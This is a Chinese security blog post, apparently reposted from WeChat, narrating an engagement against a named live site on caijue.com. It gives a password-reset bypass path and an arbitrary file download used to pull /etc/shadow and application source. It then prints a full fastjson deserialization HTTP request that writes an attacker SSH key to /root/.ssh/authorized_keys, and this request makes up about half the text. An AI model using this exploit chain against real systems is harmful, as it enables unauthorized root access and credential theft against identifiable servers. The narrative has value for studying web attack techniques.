✨ 十年磨一剑，一出天下寒 ✨
慨当以慷,忧思难忘。何以解忧？唯有杜康。
核聚变
记录某次某攻防的n次闹心的打点过程，闹心的并不是过程，而是三个目标的点都在一个内网里头...翻来覆去也没个其他能打的，打来打去又打回来了，此次简单记录......
核裂变
通过信息收集FOFA+Layer，发现caijue.com的子域名下某网站https://gjcc.caijue.com:8443发现密码重置功能点，未授权绕过漏洞
/api/;/sys/user/changePassword
密码重置成功
找到任意文件下载链接，下载了shadow文件使用john破解了一会儿，撞不出来，放弃
https://gjcc.caijue.com:8443/api/;/file/z*****l/downTemplate?templatePath=/etc/shadow后续继续点击功能点，查看数据包，进行SQL注入测试，报错发现两个JAR包源码绝对路径
通过上述文件下载，下载网站源码，进行代码审计
https://gjcc.caijue.com:8443/api/;/file/zcqFjgl/downTemplate?templatePath=/usr/local/shu****/jeecg-publish/zhut******-1.0.4.jar
翻看配置文件，找到数据库账号密码
进行代码审计发现fastjson漏洞，fastjson低版本在解析字符串未限制对象类型时，存在任意文件写入漏洞，因为是JAR包启动的，所以只能尝试写个SSH试试了
构造EXP，注意有个缓冲区，需要超过8192个字节，所以多复制了几次ssh密钥
POST /api/;/message/sysMessageTemplate/sendMsg HTTP/1.1Host: gjcc.caijue.com:8443Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 11067{"testData":"{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""ssh-rsaAAAAB***************************************************************************************************************************ssh********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************=root@i*********************n"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/root/.ssh/authorized_keys","encoding":"UTF-8","append": false},"charset":"UTF-8","bufferSize": 1024,"writeImmediately": true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}}"}
成功写入
总结
大家明天开始注意身体啊......我已经开始囤药了...
原文始发于微信公众号（SECURITY CLUB）：记录一次某攻防目标打点过程
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论